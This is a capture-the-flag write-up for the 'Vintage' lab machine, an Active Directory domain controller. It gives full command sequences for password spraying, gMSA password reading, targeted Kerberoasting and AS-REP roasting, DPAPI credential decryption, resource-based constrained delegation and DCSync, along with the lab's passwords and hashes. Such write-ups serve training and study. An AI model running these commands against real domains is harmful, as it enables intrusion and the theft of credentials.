Vintage Write-up

Vintage

This assumed breach CTF began with provided credentials for the user P.Rosa. Initial SMB authentication failed, so I modified the krb5.conf file to enable Kerberos authentication, which allowed me to obtain P.Rosa’s TGT.

Using LDAP enumeration, I gathered a list of usernames and performed a password spray using the format username:username, resulting in a successful login for a computer account. BloodHound revealed that this computer account had permissions to read a gMSA password from another computer account, which I used to obtain another user’s TGT.

With this new user, BloodHound showed GenericWrite privileges over a group that had GenericAll rights over three users. I added my user to the group, then performed a targeted Kerberoast attack. I successfully cracked the hash of svc_sql.

Although svc_sql was disabled, another password spray led to access as n.neir. I connected via WinRM and found DPAPI credentials, which allowed me to decrypt and recover credentials for n.neir_adm.

That account had GenericWrite on the DelegationAdmins group. I added svc_sql to that group, registered a fake SPN, and performed a Resource-Based Constrained Delegation (RBCD) attack to impersonate L.bianchi_adm. With this account’s TGS, I executed a DCSync attack, as L.bianchi_adm is a Domain Admin.

This granted full control of the domain, successfully compromising the Domain Controller.

Enumeration

Nmap Scan

nmap -sV -sC -p- 10.10.11.45 -oN vintage.scan -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 20:05 PDT
Nmap scan report for 10.10.11.45
Host is up (0.16s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-13 03:07:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
52686/tcp open  msrpc         Microsoft Windows RPC
52691/tcp open  msrpc         Microsoft Windows RPC
52709/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
                    
Host script results:
    | smb2-time: 
    |   date: 2025-03-13T03:08:41
    |_  start_date: N/A
    | smb2-security-mode: 
    |   3:1:1: 
    |_    Message signing enabled and required
    |_clock-skew: -1s
                    
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 262.72 seconds
                

SMB

As we can see smb says our user does not support it which could mean that we need to authenticate via kerberos.

Lets modify the /etc/hosts file and add

dc01.vintage.htb vintage.htb
                

then within your /etc/krb5.conf file change it into this specific format

[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
[realms]
    VINTAGE.HTB = {
        kdc = vintage.htb
        admin_server = vintage.htb
    }

[domain_realm]
    .vintage.htb = VINTAGE.HTB
    vintage.htb = VINTAGE.HTB
                

Now lets get P.Rosa Ticket Granting Ticket (TGT)

impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123

export KRB5CCNAME=P.Rosa.ccache
                

Now we should be able to run netexec with no issues.

netexec smb 'dc01.vintage.htb' -u P.Rosa -p Rosaisbest123 -k
                

Username gathering

We can query from ldap and get the usernames and more information within the AD.

ldapsearch -H ldap://vintage.htb -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b "DC=vintage,DC=htb" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf
                

This will display all users within the domain and show the samaccountname and memberof.

We can see there are normal users as well as computer users. I will get all the sam account into a username.txt file and all the cn into a password.txt file as well the sam account name into the password.txt file.

# usernames into a file

ldapsearch -H ldap://vintage.htb -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b "DC=vintage,DC=htb" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName | grep "sAMAccountName" | awk -F ':' '{print $2}' > users.txt


# CNs into a password file

ldapsearch -H ldap://vintage.htb -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b "DC=vintage,DC=htb" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf | grep "dn" | awk -F '=' '{print $2}' | awk -F ',' '{print $1}' > pass.txt

# sAMAccountName into a password file

ldapsearch -H ldap://vintage.htb -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b "DC=vintage,DC=htb" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName | grep "sAMAccountName" | awk -F ':' '{print $2}' >> pass.txt
                

With that we can do a password spray with their own usernames and see if there is a hit.

Dont forget to remove the samaccountname from the users.txt file 
                
netexec smb 'dc01.vintage.htb' -u users.txt -p pass.txt -k --no-bruteforce
                

We got a hit and it is a computer user: FS01$. Lets get that TGT.

impacket-getTGT vintage.htb/FS01$:fs01

export KRB5CCNAME=FS01\$.ccache
                

Now lets run bloodhound.

bloodhound-python -c All -u fs01$ -p fs01 -d vintage.htb -ns 10.10.11.45 --zip
                

The user FS01$ can read the gMSA (group managed service accounts) password of the account GMSA01$.

bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
                

Now we can get the TGT for that GMSA01$.

impacket-getTGT vintage.htb/'gmsa01$' -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339

export KRB5CCNAME=gmsa01\$.ccache
                

FootHold

In bloodhound the user has addself and GenericWrite privileges over ServiceManagers group.

Within the service manager group has GenericAll rights over these service accounts.

The plan is to add ourselves to the group and do a targeted kerberoast attack on those specific users and see whos hash we can possibly attack.Lets add ourselves to the group.

What is targeted Kerberoast? It's when controlling an object that has a GenericAll, GenericWrite, WriteProperty or Validated-SPN over the target then attacker can add an SPN (ServicePrincipalName) to that account. Once the account has an SPN, it becomes vulnerable to Kerberoasting.

bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "gmsa01$"
                

Now we can do a targeted kerberoast attack.

python3 targetedKerberoast.py --dc-host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -H 'aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339' --dc-ip 10.10.11.45 -k
                

We only manage to get 2/3 users which we missing svc_sql We can use bloodyAD to manually set up the ASREP and call it again.

bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
                
bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
                
impacket-GetNPUsers vintage.htb/ -request -usersfile users.txt -format hashcat
                

It only manage to crack svc_sql hash

$krb5asrep$23$svc_sql@VINTAGE.HTB:ffcee10e2445cda48993c75a18071b39$beee6351859b747ac43f9868e4f8bda2f1c004d0f3814e4d2cdfe3081ff2e3de24f6ec73143b57be6dda4192d1ec07273f12f6108a944b0d9731ae96260744b6c0a95210632f87ec03be4aecc95111c6d19c37f8c5f9fb3104023cc725cfe99c3a9dd6fe3e66612223f944a468fce5127f9e528b12db4656957d59e1dc9760f59c9fa5b1165f4c970cc0f7f1d6232c349c74c35c7b455b3d29f78af5c43e1746621644dfe2e72385dae2121608fdfe3379efabd76479d23859b78872e688b8ffb2f0284ef027457f369ed0a21503bfee93de6a79727ec134ce63ef7198c68409a96ee92915b862c83c70:Zer0the0ne
                

I did a password spray attack since getting the TGT with the svc_sql is disabled.

netexec smb 'dc01.vintage.htb' -u users.txt -p Zer0the0ne -k
                

Lets get the TGT!

impacket-getTGT vintage.htb/C.Neri:Zer0the0ne

export KRB5CCNAME=C.Neri.ccache
                

Since the user is apart of the remote management group we can winrm.

evil-winrm -i dc01.vintage.htb -r vintage.htb
                

Privilege Escalation

There is anti virus enabled which threw me off. After reviewing the AppData directory, there is a folder called Vault that stores user credential data. This data is protected using DPAPI (Data Protection API), which Windows uses to encrypt sensitive information such as stored credentials.

We can attempt to decrypt the user's credential files. First, we need to obtain the user's credentials, as DPAPI ties the encryption keys to the user's logon password or security context.

Get-ChildItem "C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials" -Force
                

Next, we need to retrieve the DPAPI master keys. These are stored in the user's Protect directory:

Get-ChildItem "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect" -Force -Recurse
            

The files in this directory contain the encrypted master keys that DPAPI uses to protect sensitive data like credentials. These master keys are themselves encrypted with the user's password-derived key (or system key if protected by machine context).

There are two master key files located in the user's DPAPI Protect folder. The full path looks like this:

# Path to the directory

C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
            

This folder is named after the user's Security Identifier (SID), and it contains the encrypted DPAPI master keys. These files are hidden and system-protected, so they won’t appear unless we change their attributes. To unhide them, run:

attrib -s -h *.* /s
            
download 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847

download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
            

Also download the credential file.

# Path to credential file

cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
            

Unhide it then proceed to download the file

Once that is done we can use impacket dpapi to decrypt the master keys.

impacket-dpapi masterkey -file "4dbf04d8-529b-4b4c-b4ae-8e875e4fe847" -sid "S-1-5-21-4024337825-2033394866-2055507597-1115" -password Zer0the0ne
impacket-dpapi masterkey -file "99cf41a3-a552-4cf7-a8d7-aca2d6f7339b" -sid "S-1-5-21-4024337825-2033394866-2055507597-1115" -password Zer0the0ne
            

Now that we have the decrypted master key, we can attempt to decrypt the credential files.

impacket-dpapi credential -file "C4BB96844A5C9DD45D5B6A9859252BA6" -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
            

As you can see we got one of the users. In bloodhound we can see that the user has Generic Writes over the Delegation Admins group which within that group also has a user L.BIANCHI_ADM which has DC Sync rights over the domain.

We will perform a resource based constrained delegation attack. We can see our user does not have a SPN which the attack wont work.

Get-ADUser -Identity C.Neri_adm -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName
            

Lets first make the svc_sql account active.

impacket-getTGT vintage.htb/'gmsa01$' -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339

export KRB5CCNAME=gmsa01\$.ccache
            

Then to make it active.

bloodyAD --host dc01.vintage.htb -d VINTAGE.HTB --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
            

Now add the user to the group.

bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
            

Now set up a fake spn on the user.

export KRB5CCNAME=gmsa01\$.ccache

bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -k set object "SVC_SQL" servicePrincipalName -v "cifs/fake"
            

Then request a TGT of that user.

impacket-getTGT vintage.htb/svc_sql:Zer0the0ne

export KRB5CCNAME=svc_sql.ccache
            

Now we need to request a service ticket impersonating the L.BIANCHI_ADM.

impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne' -debug

export KRB5CCNAME=L.BIANCHI_ADM.ccache
            

Now once we imported the ccache file we can dump the domain

impacket-secretsdump -k dc01.vintage.htb
            

And as well since we are impersonating the user who is apart of domain admins group we are basically administrator's in any computer.

impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb